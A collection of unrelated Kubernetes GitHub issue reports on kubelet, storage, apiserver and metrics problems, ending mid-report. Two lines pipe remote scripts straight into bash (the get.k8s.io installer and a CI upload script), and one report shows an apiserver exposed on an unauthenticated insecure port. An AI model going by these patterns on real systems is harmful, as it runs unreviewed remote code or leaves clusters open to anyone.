<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r although   51633 solve this kind of issue<use some field methods before initiate>. but from coding convention, i think these code should be modified in related controllers. like deployment, daemon, etc \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line: \r >\r >  >  \r   what happened  :\r there will be error when kubelet restarts on a agent if pod in that agent has an azure disk mounted, the error would be like following:\r azuredisk - no\r t a mounting point for disk andykubewin175-dynamic-pvc-7a0cdeb9-92c7-11e7-b86b-000d3a36d70c on \\var\\lib\\kubelet\\pods\\d146c023-92c7-11e7-b86b-000d3a36d70c\\volumes\\kubernetes.io~azure-disk\\pvc-7a0cdeb9-92c7-11\r e7-b86b-000d3a36d70c\r \r   what you expected to happen  :\r pod could still works well even if kubelet restarts on the agent\r \r   how to reproduce it  as minimally and precisely as possible   :\r consider following scenario:\r a pod mounting an azure disk in a k8s agent\r the kubelet is restarted in that k8s agent\r the pod could not start up, it always reports error as following:\r 4d 1m 3065 kubelet, 14777acs9000 warning failedmount mountvolume.setup failed for volume \ pvc-7a0cdeb9-92c7-11e7-b86b-000d3a36d70c\  : azuredisk - no\r t a mounting point for disk andykubewin175-dynamic-pvc-7a0cdeb9-92c7-11e7-b86b-000d3a36d70c on \\var\\lib\\kubelet\\pods\\d146c023-92c7-11e7-b86b-000d3a36d70c\\volumes\\kubernetes.io~azure-disk\\pvc-7a0cdeb9-92c7-11\r e7-b86b-000d3a36d70c\r 4d 1m 3157 kubelet, 14777acs9000 warning failedmount error syncing pod\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7, 1.8\r - cloud provider or hardware configuration  : azure\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

// i didn't get suggestion from slack, so open an issue here.\r \r i get stuck on kube-apiserver ha.   the load balancer on china aliyun cloud provider doesn't allow https backend server for l7 load balancer, and backend server behind l4 load balancer can't access itself through l4 load balancer.\r \r    \r k8s node ---https--> l7 lb ----- oops, no https -----> k8s apiserver\r k8s master nodea  ------> l4 lb ---- oops, can't reach  -----> k8s master nodea\r    \r \r i planned to place all k8s master nodes behind l4 lb,   all k8s worker nodes access apiserver through lb,  all k8s master nodes directly use local apiserver,  but it's a pity kube-proxy on all k8s nodes use a configmap \ kube-proxy\  which includes the address of apiserver, i can't use different config for kube-proxy pods on k8s master and worker nodes.\r \r currently my plan b is to write a dns checker,  it periodically checks all apiserver and updates dns record,  or even updates /etc/hosts on all k8s nodes.   is there any better solution?\r \r imho, i am wondering why kubelet + kube-controller-manager + kube-scheduler can't take a list of apiservers when kube-apiserver takes a list of etcd servers,  then we don't have to rely on load balancer or dns to archive ha for kube-apiserver.\r \r @kubernetes/sig-api-machinery  @kubernetes/sig-cluster-ops @kubernetes/sig-network

is this a bug report or feature request?  :\r \r  @kubernetes/sig-scalability-bugs \r / umbrella issue: https://github.com/kubernetes/kubernetes/issues/56062\r \r   what happened  :\r \r  beforesuite  failed in the following runs with some variant of the  error waiting for all pods to be running and ready: x / y pods in namespace \ kube-system\  are not in running and ready state in 10m0s  message:\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/10196\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-beta/270\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-stable1/485\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/97\r \r the last one on 2018-01-12, the other ones between 2018-01-21 and 2018-01-23.\r \r unfortunately it is nearly impossible to debug the root cause for these more than a few hours after the test completes, because all we know from kubelet logs is that they were crashing for a while and did not manage to become healthy within the deadline.\r \r   what you expected to happen  :\r \r the check should contain code which would download the relevant pods' logs. preferably the most recent one and the previous one. in case there are many such failing pods  say over 5 , it should pick a sample.

> uncomment only one, leave it on its own line:\r >\r >  \r \r   what happened  :\r my kubelet of kubernetes cluster has the max_pod_size :300\r when the pod size of node is larger than 110,like 140,then the kubelet of the node is not work normally,the kubelet is like dead.\r \r   what you expected to happen  :\r i want to know how to config the kubelet,then it can work normally ,even the pod size is 200.\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.9.1\r - os  e.g. from /etc/os-release :centos linux release 7.4.1708  core \r - kernel  e.g.  uname -a  :\r core file size           blocks, -c  0\r data seg size            kbytes, -d  unlimited\r scheduling priority              -e  0\r file size                blocks, -f  unlimited\r pending signals                  -i  1030567\r max locked memory        kbytes, -l  64\r max memory size          kbytes, -m  unlimited\r open files                       -n  102400\r pipe size             512 bytes, -p  8\r posix message queues      bytes, -q  819200\r real-time priority               -r  0\r stack size               kbytes, -s  8192\r cpu time                seconds, -t  unlimited\r max user processes               -u  1030567\r virtual memory           kbytes, -v  unlimited\r file locks                       -x  unlimited\r \r

we allow crd authors to write  validation for customresources  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/api-machinery/customresources-validation.md . currently we don't restrict writing validation for  metadata , which means people can have  additive validation constraints to  metadata  after the built-in validation  https://github.com/kubernetes/kubernetes/blob/74036c082aeec92c196a887460d2aec0c060cd8e/staging/src/k8s.io/apiextensions-apiserver/pkg/registry/customresource/validator.go l55-l64 .  \r \r for example, people can have additive name constraints  require cr  metadata.name  to be  default   with the following schema:\r \r    \r   validation:\r    openapiv3schema:\r      description: foo crd for testing\r      properties:\r        metadata:\r          description: metadata of foo\r          properties:\r            name:\r              description: name of foo\r              pattern: default\r              type: string\r    \r \r this brings us two questions: \r \r 1. how do we  publish cr validation schema  https://github.com/kubernetes/kubernetes/pull/71192  if \ metadata\  is included in the schema: \r   - simplest option is to publish standard metav1.objectmeta schema info, and use any crd-specified \ metadata\  properties as additive validation  just like in-tree types do, publishing standard objectmeta schema info, and implementing type-specific name validation internally \r   - alternatively, we can try merging user-specified metadata schema with the standard one. technically people should only add extra validation to existing metadata properties  adding new fields to metadata won't work since they will be pruned by built-in validation first , but it's unclear to me how arbitrary people may want the metadata validation to be\r \r 2. longer term question is whether to allow people specifying metadata validation at all, or just allow a subset  like name validation  in crd v1\r \r  /area custom-resources\r cc @apelisse @lavalamp @liggitt @mbohlool @smarterclayton @sttts

i was following the  getting started with vagrant  https://github.com/googlecloudplatform/kubernetes/blob/master/docs/getting-started-guides/vagrant.md  guide.  curl -ss https://get.k8s.io | bash  fails silently with error code 5. i suspect wget is to blame:      curl -ss https://get.k8s.io | bash -x + set -o errexit + set -o nounset + set -o pipefail +    -n ''    ++ get_latest_version_number ++ local -r latest_url=https://storage.googleapis.com/kubernetes-release/release/stable.txt +++ which wget ++    -n /usr/local/bin/wget    ++ wget -qo- https://storage.googleapis.com/kubernetes-release/release/stable.txt + release=      wget was installed through homebrew: gnu wget 1.16.3 built on darwin14.1.0.

is there a way to run the continuous-integration tests locally? if not, we should create \ hack/continuous-integration.sh\  and run all the scripts that travis does! :   the last couple of days, i've submitted a few prs that fail on some of the continuous integration checks, so i think having a meta-script that does this would be useful.

currently evey controller is resyncing its resources with different frequence. we should fix that in a way that: - in production we do it very rarely  like once per hour  or even never - in e2e tests  to test that path  we do it e.g. every 5 minutes   the motivation of making resyncing not that frequent is performance  listing is just expensive   @kubernetes/goog-csi

in http://kubernetes.io/v1.1/docs/api.html, clicking on the link   statically generated ui    http://kubernetes.io/third_party/swagger-ui/  returns you a blank page.   cc @bgrant0607 @nikhiljindal @caesarxuchao

need / justification    multiple big data stacks, and other technologies, cannot gracefully leave a their cluster when running inside of k8s  i have been looking for something to get my hooks into for more of a contribution to this project, and this may be one of them.  before i start coding could use some advice on making sure this is not supported and how to do this well.  still bit of a n00b when is comes to k8s source base!  from the docs:  there are currently two container hooks that are surfaced to containers:    poststart   this hook is sent immediately after a container is created.  it notifies the container that it has been created.  no parameters are passed to the handler. it is not guaranteed that the hook will execute before the container entrypoint.    prestop   this hook is called immediately before a container is terminated. no parameters are passed to the handler. this event handler is blocking, and must complete before the call to delete the container is sent to the docker daemon. the sigterm notification sent by docker is also still sent. a more complete description of termination behavior can be found in termination of pods.  i have a use case for a third hook:    prestopreducesizeofscale\   this is a horrible name, but going with it for now.    _use case_  multiple big data stacks, and other technologies, require a unit of work to be completed for a member of a cluster / ring / group to leave.  for example: - cassandra requires a  nodetool decommission  for a node to leave a ring.   - elastic requires http rest call to be executed to modify the cluster routing allocation. - kafka requires a reassign partition command  i a lot of cases using a  prestop  is fine.  but a use case is upgrades with petset.  you need to be able to run a  kubectl rolling-update . i don't believe rolling-updates is supported by petset at this point, but that is an open question.

user on slack sig-auth channel reported that when only client-cert auth was enabled on the apiserver, that kubelets could not register.   slack conversation:  https://kubernetes.slack.com/archives/sig-auth/p1463428269000258  when basic auth was enabled too  which user does not want on  then kubelets could register fine.  user showed kubelet config that clearly just uses a client cert, not a password.  this seems like a bug.  looking at this code: https://github.com/kubernetes/kubernetes/blob/master/pkg/apiserver/authenticator/authn.go l113  it appears we don't use the union authenticator if there is only one authenticator.  seems like this may be source or bug user reported.

there are some constants in kubelet and kube-proxy that refers to the same thing. for example: https://github.com/kubernetes/kubernetes/blob/a57561b84dd436d92ae43805b63ac7bb23ae188c/pkg/kubelet/kubelet_network.go l38 https://github.com/kubernetes/kubernetes/blob/65f3fa9caf79a5cae49ff893695c58ca63863ad1/pkg/proxy/iptables/proxier.go l71 https://github.com/kubernetes/kubernetes/blob/57604d13cd7e9985e520511efc5b3b3b3dd62000/pkg/kubelet/network/hostport/hostport.go l284  there must be other cases like this. propose to have a package to store constants used by multiple components in one place.

when i execute the command line  kubernetes_provider=ubuntu ./kube-up.sh , i get some error info:      ... starting cluster using provider: ubuntu ... calling verify-prereqs ... calling kube-up /vagrant/kubernetes/cluster/ubuntu /vagrant/kubernetes/cluster prepare flannel 0.5.5 release ... prepare etcd 2.3.1 release ... prepare kubernetes 1.4.4 release ... done! all your binaries locate in kubernetes/cluster/ubuntu/binaries directory /vagrant/kubernetes/cluster  deploying master on machine 192.168.9.9 root@192.168.9.9's password: root@192.168.9.9's password: root@192.168.9.9's password: saltbase/salt/generate-cert/make-ca-cert.sh: no such file or directory easy-rsa.tar.gz                                                                                                                      100%   42kb  42.4kb/s   00:00 reconfdocker.sh                                                                                                                      100% 2068     2.0kb/s   00:00 config-default.sh                                                                                                                    100% 5586     5.5kb/s   00:00 util.sh                                                                                                                              100%   29kb  28.9kb/s   00:00 etcd.conf                                                                                                                            100%  707     0.7kb/s   00:00 kube-apiserver.conf                                                                                                                  100%  682     0.7kb/s   00:00 kube-controller-manager.conf                                                                                                         100%  761     0.7kb/s   00:00 kube-scheduler.conf                                                                                                                  100%  682     0.7kb/s   00:00 etcd                                                                                                                                 100% 2073     2.0kb/s   00:00 kube-apiserver                                                                                                                       100% 2358     2.3kb/s   00:00 kube-controller-manager                                                                                                              100% 2672     2.6kb/s   00:00 kube-scheduler                                                                                                                       100% 2360     2.3kb/s   00:00 etcd                                                                                                                                 100%   16mb  15.9mb/s   00:00 etcdctl                                                                                                                              100%   14mb  13.7mb/s   00:00 flanneld                                                                                                                             100%   16mb  15.8mb/s   00:00 kube-apiserver                                                                                                                       100%  144mb  72.0mb/s   00:02 kube-controller-manager                                                                                                              100%  134mb  67.2mb/s   00:02 kube-scheduler                                                                                                                       100%   77mb  76.9mb/s   00:01      there are some problems:  1 saltbase/salt/generate-cert/make-ca-cert.sh: no such file or directory  2 i had configured      export nodes=${nodes:-\ root@192.168.9.9 root@192.168.9.10\ }    define all your nodes role: a master  or i minion  or ai both master and minion ,   roles must be the same order with the nodes. roles=${roles:-\ a i\ }   if it practically impossible to set an array as an environment variable   from a script, so assume variable is a string then convert it to an array export roles_array= $roles     define minion numbers export num_nodes=${num_nodes:-1}      in my  ubuntu/config-default.sh  file,but why it just deploy master on machine 192.168.9.9  btw, my k8s release is  1.4.4

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws-updown/14345/ failed: extract {e2e.go}      u=https://storage.googleapis.com/kubernetes-release-dev/ci r=v1.7.0-alpha.2.572+4998d78f897d8a get-kube.sh failed: error during ./get-kube.sh: exit status 1       previous issues for this test:  42078  42543  42866  43064

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r currently the buckets defined for the api server latency metric:  apiserver_request_latencies  are defined like this: https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go l64-l65 meaning the smallest bucket is 125ms.\r \r if you want to estimate the percentiles based on this then it only makes sense if the actual latency of your api server is around 125ms or higher otherwise you get quite skewed numbers.\r \r in our case we are running more than 80 clusters on aws on different instance types and out of those 80 clusters only 3 has a latency higher than 125ms  for verb=\ get\   as reported clientside in the  apiserver_request_latencies_summary  metric. the rest has a latency below 100ms and most of them even a latency under 10ms  looking at get p99 .\r \r however, because of the bucket sizes all latencies are reported to be close to or higher than 125ms if we try to estimate it with a query like this:\r \r    \r histogram_quantile 0.99, sum rate apiserver_request_latencies_bucket 5m    by  le, verb  \r    \r \r ! p99  https://user-images.githubusercontent.com/128566/39957809-4b28b548-55f9-11e8-9f8e-5592468a5470.png \r \r it's clear that the estimated values are much higher than what is reported clientside in the  apiserver_request_latencies_summary  metric.\r \r looking at the aggregated estimations thus gives the wrong impression of how the service is performing.\r \r   what you expected to happen  :\r \r i realize that it's impossible to pick bucket sizes that will be a perfect fit for everyone since the latency ofc. will heavily depend on the load of the clusters and the backing hardward. however, i think it would be more sensible to pick buckets that start below 125ms.\r \r the prometheus library provides some default bucket sizes: https://github.com/prometheus/client_golang/blob/master/prometheus/histogram.go l59\r \r > the default buckets are tailored to broadly measure the response time  in seconds  of a network service.\r \r these buckets are in the range from 5ms to 10s which seems much more sensible to cover a wide range of kubernetes deployments.\r \r i tried to change the buckets used and this is what i saw:\r \r query: \r \r    \r histogram_quantile 0.99, sum rate apiserver_request_latencies_bucket 5m    by  le, verb  \r    \r \r result with the current buckets:\r \r    \r {verb=\ delete\ }\t123750\r {verb=\ get\ }\t123750\r {verb=\ list\ }\t123875.25303643724\r {verb=\ patch\ }\t123750\r {verb=\ post\ }\t123750.00000000001\r {verb=\ put\ }\t123750\r {verb=\ watch\ }\t8000000\r    \r \r result with the default prometheus bucket sizes:\r \r    \r {verb=\ delete\ }\tnan\r {verb=\ get\ }\t4985.64\r {verb=\ list\ }\t23381.395348837177\r {verb=\ patch\ }\t19100.000000000007\r {verb=\ post\ }\t4950\r {verb=\ put\ }\t9892.028985507248\r {verb=\ watch\ }\t10000000\r    \r \r values are in microseconds.\r \r based on this i suggest we change the buckets defined for the metric to be more useful. i'm happy to provide a pr if you agree with this.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r scrape the kube-apiserver prometheus metrics and query them like this:\r \r    \r histogram_quantile 0.99, sum rate apiserver_request_latencies_bucket 5m    by  le, verb  \r    \r \r \r   anything else we need to know?  :\r \r   environment  : not relevant.\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

   is this a bug report or feature request?  :\r > kind bug\r \r   what happened  :\r the command  kubectl describe cronjobs  always results in \ the server could not find the requested resource\ .\r \r   what you expected to happen  :\r the command should successfully find the cronjobs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r you can create any cronjob but you can use the example in the help guide. then run  kubectl describe cronjobs .\r    \r apiversion: batch/v1beta1\r kind: cronjob\r metadata:\r   name: hello\r spec:\r   schedule: \  /1        \ \r   jobtemplate:\r     spec:\r       template:\r         spec:\r           containers:\r           - name: hello\r             image: busybox\r             args:\r             - /bin/sh\r             - -c\r             - date; echo hello from the kubernetes cluster\r           restartpolicy: onfailure\r    \r \r   anything else we need to know?  :\r i believe i know the exact reason it's doing this. kubectl is calling the wrong version of the batch api. while using debug --v=8, you can see it calling  get https://{ip_address}:8443/apis/batch/v1/namespaces/default/cronjobs/hello  but it should be calling the \ v1beta1\  api version.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-05-12t04:12:47z\ , goversion:\ go1.9.6\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: using minikube with virtualbox.\r \r - os  e.g. from /etc/os-release : \r name=buildroot\r version=2017.11\r id=buildroot\r version_id=2017.11\r pretty_name=\ buildroot 2017.11\ \r \r - kernel  e.g.  uname -a  : linux minikube 4.9.64  1 smp fri mar 30 21:27:22 utc 2018 x86_64 gnu/linux\r \r - install tools: null\r - others: null\r

  \r  defer  call will never be execute.\r https://github.com/kubernetes/kubernetes/blob/8e329f1c3cbb1354c27b6135990c5544f14d2a17/pkg/cloudprovider/providers/vsphere/vsphere_util.go l301

 \r   what happened  :\r i want to get pod logs that should contain characters with codes above 127. docker has no problem with them.\r i try:\r    kubectl logs \r    kubectl run --attach=true \r   curl http://localhost:8001/api/v1/namespaces/default/pods/test-binary-logs-b98b8/log/\r \r in all cases the characters with codes above 127 are replaced with the  unicode replacement character  https://en.wikipedia.org/wiki/specials_ unicode_block  replacement_character  in utf-8 form  \\xef \\xbf \\xbd \r \r   what you expected to happen  :\r i expect the characters to be uncorrupted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r docker works correctly:\r    \r $ docker run alpine sh -c 'echo -e -n \\\\xd4' | xxd\r 0000000: d4                                       .\r    \r \r kubectl corrupts logs:\r    \r $ kubectl run test1 --image=alpine --restart=never --attach=true --command -- sh -c 'echo -e -n \\\\xd4' | xxd\r 0000000: efbf bd                                  ...\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r local machine\r - os  e.g. from /etc/os-release :\r windows 10\r - install tools:\r docker for windows  with kubernetes option selected at install time \r \r

kubelet offloads most of the pod-specific work to the per-pod workers  goroutines . this includes creating pod directories and mounting volumes, and killing containers in some cases. on the other hand, the main kubelet loop performs global cleanup/housekeeping such as unmounting and removing volume/pod directory, and killing containers in some cases.  this creates race conditions that lead to transient errors or often something worse. we should let the pod worker does all the cleanup and let kubelet only garbage collects unused resources. the first step is to teach pod worker to understand the notion of \ deletion\  and try to clean up their own pod if possible, and retries on errors.  @kubernetes/goog-node, @saad-ali, any thoughts?

latest test failure on  25045 was likely a flake.      f0509 18:45:18.441385   11397 integration.go:848  failed: unexpected endpoints: timed out waiting for the condition !!! error in ./hack/test-integration.sh:57   'kube_api_versions=\ v1,extensions/v1beta1\  kube_test_api_versions=\ $1\  \ ${kube_output_hostbin}/integration\  --v=${log_level} --max-concurrency=\ ${kube_integration_test_max_concurrency}\ ' exited with status 255 call stack:   1: ./hack/test-integration.sh:57 runtests ...    2: ./hack/test-integration.sh:71 main ...  exiting with status 1 +++  0509 18:45:18  integration test cleanup complete build step 'execute shell' marked build as failure recording test results  postbuildscript  - execution post build scripts.  kubernetes-pull-test-unit-integration  $ /bin/bash -xe /tmp/hudson7030674491680998913.sh +    -x ./hack/jenkins/upload-to-gcs.sh    + curl -fss --retry 3 https://raw.githubusercontent.com/kubernetes/kubernetes/master/hack/jenkins/upload-to-gcs.sh + bash - called without jenkins_build_started or jenkins_build_finished set. assuming a legacy invocation. run finished at mon may  9 11:45:20 pdt 2016 uploading to gs://kubernetes-jenkins/pr-logs/pull/25045/kubernetes-pull-test-unit-integration/25001  attempt 1  uploading build result:  unset  uploading artifacts marking build 25001 as the latest completed build        view logs and artifacts at https://console.cloud.google.com/storage/browser/kubernetes-jenkins/pr-logs/pull/25045/kubernetes-pull-test-unit-integration/25001

we can make the memory eviction test apply an aggressive memory eviction threshold via the dynamic kubelet config feature to reduce the risk that the eviction test starts to trigger oom-kills. we can then use the dynamic config feature to restore the previous thresholds before further tests run. this is similar to how the test for dynamic kubelet configuration works.  it would also be good to adjust the consumption rate based on the node's memory capacity so that we can be sure the test will finish before the timeout on nodes with greater capacity.   /cc @vishh @derekwaynecarr @aveshagarwal

running  cluster/gce/upgrade.sh -m v1.4.0-beta.3  upgrades the master as expected, but ssh-ing into the master @jingxu97 discovered that kubectl was still at 1.3.6. feel free to close if this was a conscious decision, i'd  expect to find features present in 1.4 kubectl on a 1.4 master, though.   @kubernetes/sig-cluster-lifecycle

i'd like all of the in-flight workload apis  replicaset, deployment, statefulset, daemonset  to advance to v1 together as a group, sometime this year.\r \r related issues:\r   deployment v1 issue:  20130\r   daemonset v1 issue:  15310\r   statefulset beta:  28718\r   eliminate extensions api group:  43214 \r   workload controller design issue umbrella issue:  14961\r   extension patterns:  31571,  39337\r   common patterns:  37563,  42410\r   https://github.com/kubernetes/community/wiki/roadmap:-deployment\r   https://github.com/kubernetes/community/wiki/roadmap:-replicaset\r \r i'd like to see at least:\r   ~~server-side cascading deletion  gc  by default  e.g.,  23252,  40014 ~~\r   ~~controller ref   24946  to provide mutual exclusion even across controller types, but also ensure that orphaning and adoption work as expected~~\r   ~~upgrades/rollouts for daemonset and statefulset   28706 ~~\r   decide whether to change label/selector defaulting and/or selector update behavior   34292,  26202,  24888,  14894, ... \r   ~~decide whether to move forward with templategeneration  https://github.com/kubernetes/community/pull/384  or with the new hash  https://github.com/kubernetes/community/pull/477, https://github.com/kubernetes/kubernetes/issues/29735 ~~\r   decide whether to rename kubectl undo   25236 \r   ~~decide whether we're going to try to unify storage for replicationcontroller and replicaset~~\r   ~~daemonset and statefulset history and rollback~~\r   ~~scale subresource for all controllers for which it makes sense~~\r   ~~deployment overlap annotation cleanup   43322 ~~\r   ~~decide whether/which annotations should be propagated by updates   37666 ~~\r   decide what to do about clock skew  e.g., move minreadyseconds to pod https://github.com/kubernetes/kubernetes/pull/32771 issuecomment-249916983;  29229 \r   documentation completed  e.g.,  18465 \r   double-check validation and defaults  e.g.,  42479 \r   fix/cleanup taint/toleration support in daemonset   29738 , affinity/anti-affinity   29276 , schedulability   26810 , scheduling on master nodes   29108 , durability   29193 , etc.\r     maybe via daemonset use of scheduler   42002 \r \r bugs:\r   ~~scaled-down deployments don't identify old replicasets   42570 ~~\r \r maybe:\r   finish unavailablereplicas   41789 \r   ~~disallow activedeadlineseconds   38684 ~~\r   rollout strategy update improvement   24198,  34292,  35345 \r   configmap rollouts   22368,  31701,  43112, ... \r   extensible rollout strategies   14510 \r   make controllers aware of namespace deletion   38612,  36891 \r   disallow label changes in status updates   20978 \r   derive daemonset pod names from nodes   41977 \r   coordinate daemonset updates with node updates   42917  -- may need to change semantics of node selector, tolerations, and other scheduling constraints\r \r desirable, but can probably be done later:\r   ~~implement observedgeneration   7328 ~~\r   quota support   23360 \r   ensure the controllers generate the desired events, such as events when they can't create pods   21912 \r   graceful degradation  e.g.,  33041,  2529 \r   eliminate special-case hacks for the controllers  e.g.,  39687 \r   eliminate expectations   22061 \r   performance/scalability improvements  e.g.,  17130,  17441,  18972,  34598,  38868,  40271 \r   automatic rollback   23211 \r   infant mortality detection   18568 \r   auto-pause   11505 \r   attach, exec, portforward, proxy  e.g.,  21227 \r   status cleanup   42410 \r \r definitely should not block v1/ga:\r   factor out common functionality   37563 \r   support relabeling   36897 \r   scale down gradually   23885 \r   poddisruptionbudget completion   12611 \r   critical pod hack cleanups in favor of general priority/preemption   22212,  40573 \r   easier image/tag updates   29097  / image triggers \r   hooks   14512 \r   image tag resolution   1697 \r   bulk quota   25146 \r   in-place updates   9043 \r   rolling restart   13488 \r   splitting out the pod template   170 \r   selector overlap detection   43321,  19830,  2210 \r   failure-domain awareness  e.g.,  4301,  41394 \r   federation support   37570 \r   service generation   14956 \r   blue-green deployments   33462 \r   min/max replica counts   33843 \r   cron/batch jobs that run on every node   17182,  36601 \r \r tbd:\r   better history support   28373 \r   kill specific pods   36868 \r   deleted controllers in limbo   24934 \r \r we also should triage related issues that have been filed, though i did a quick triage through deployment and daemonset issues. \r \r cc @erictune @janetkuo @kow3ns @kargakis @foxish @enisoc @smarterclayton

\r  fail   k8s.io  containerlogpath pod with a container printed log to stdout  it  should print log to correct log path \r /root/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/log_path_test.go:116\r    \r \r probably should skip this test is docker is not using  json-file  logging driver\r \r @derekwaynecarr

not entirely sure if this is standard behaviour \r \r i was trying to get the nginx.conf from the ingress pod  and yes, i should have used  kubectl cp  .  while doing that i typed some keys, and some of the keys were included in the output:\r    \r kubectl exec -it -n kube-ingress  ingress-nginx-4158219343-5fmc3 cat /etc/nginx/nginx.conf > nginx.conf\r    \r \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : \r \r >  \r \r   what happened  :\r my englist is poor.\r i have a master node ip:6443 tls and  localhost:8080, \r when i add a master node, i use a configuration file that was not authenticated, only 8080 ,and it can list all nodes!!!!\r schedule too\r   what you expected to happen  :\r   \r \r   how to reproduce it  as minimally and precisely as possible   :\r add a new no ca master node\r \r   anything else we need to know?  :\r no\r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.4\r - cloud provider or hardware configuration: \r \r node 115  ---tls---- master ca\r \r no ca master\r ::::::::::::::\r apiserver\r ::::::::::::::\r kube_api_args=\ --storage-backend=etcd3 --etcd-servers=http://10.29.15.115:2379,http://10.29.15.128:2379,http://10.29.15.129:2379 --insecure-bind-address=0.0.0.0 --insecure-port\r =8080  --service-cluster-ip-range=192.168.0.0/16 --service-node-port-range=30000-39999 --admission_control=namespacelifecycle,limitranger,defaultstorageclass,resourcequota --lo\r gtostderr=false --log-dir=/var/log/kubernetes --v=2\ \r ::::::::::::::\r controller-manager\r ::::::::::::::\r kube_controller_manager_args=\ --master=http://10.29.15.129:8080 --logtostderr=false --log-dir=/var/log/kubernetes --v=2\ \r ::::::::::::::\r scheduler\r ::::::::::::::\r kube_scheduler_args=\ --master=http://10.29.15.129:8080 --logtostderr=false --log-dir=/var/log/kubernetes --v=2\ \r - os  e.g. from /etc/os-release :\r centos 7 \r - kernel  e.g.  uname -a  :\r 3.10\r - install tools:\r binary\r - others:\r no\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r rook uses the kubelet's configz endpoint to discover the volume plugin directory. this discovery no longer works as the volumeplugindir field has been removed from the kubeletconfig structure by https://github.com/kubernetes/kubernetes/pull/55562 which is included in 1.9.0 and later.\r \r   what you expected to happen  :\r \r rook should be able to discover the volume plugin directory via the configz endpoint. this field has been removed because it was marked as alpha. i'd argue that this is wrong because the flexvolume feature has been ga since 1.8 so the --volume-plugin-dir option of kubelet should be present in the kubeletconfig structure.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r kubectl proxy --port=8001 &\r curl -ssl http://localhost:8001/api/v1/proxy/nodes/$node/configz | jq\r    \r i'd expect the kubeletconfig structure to contain the volumeplugindir field.\r \r   anything else we need to know?  :\r \r the documentation https://kubernetes.io/docs/tasks/administer-cluster/reconfigure-kubelet/ also mentions the kubelet configz endpoint for generating a resource from the current kubelet configuration. this configuration will currently be incomplete when the kubelet --volume-plugin-dir command line directive is used. dynamickubeletconfig is currently in alpha so it's seems okay that it's a little bit broken. just wanted to mention it.\r \r there is a rook issue open for this at 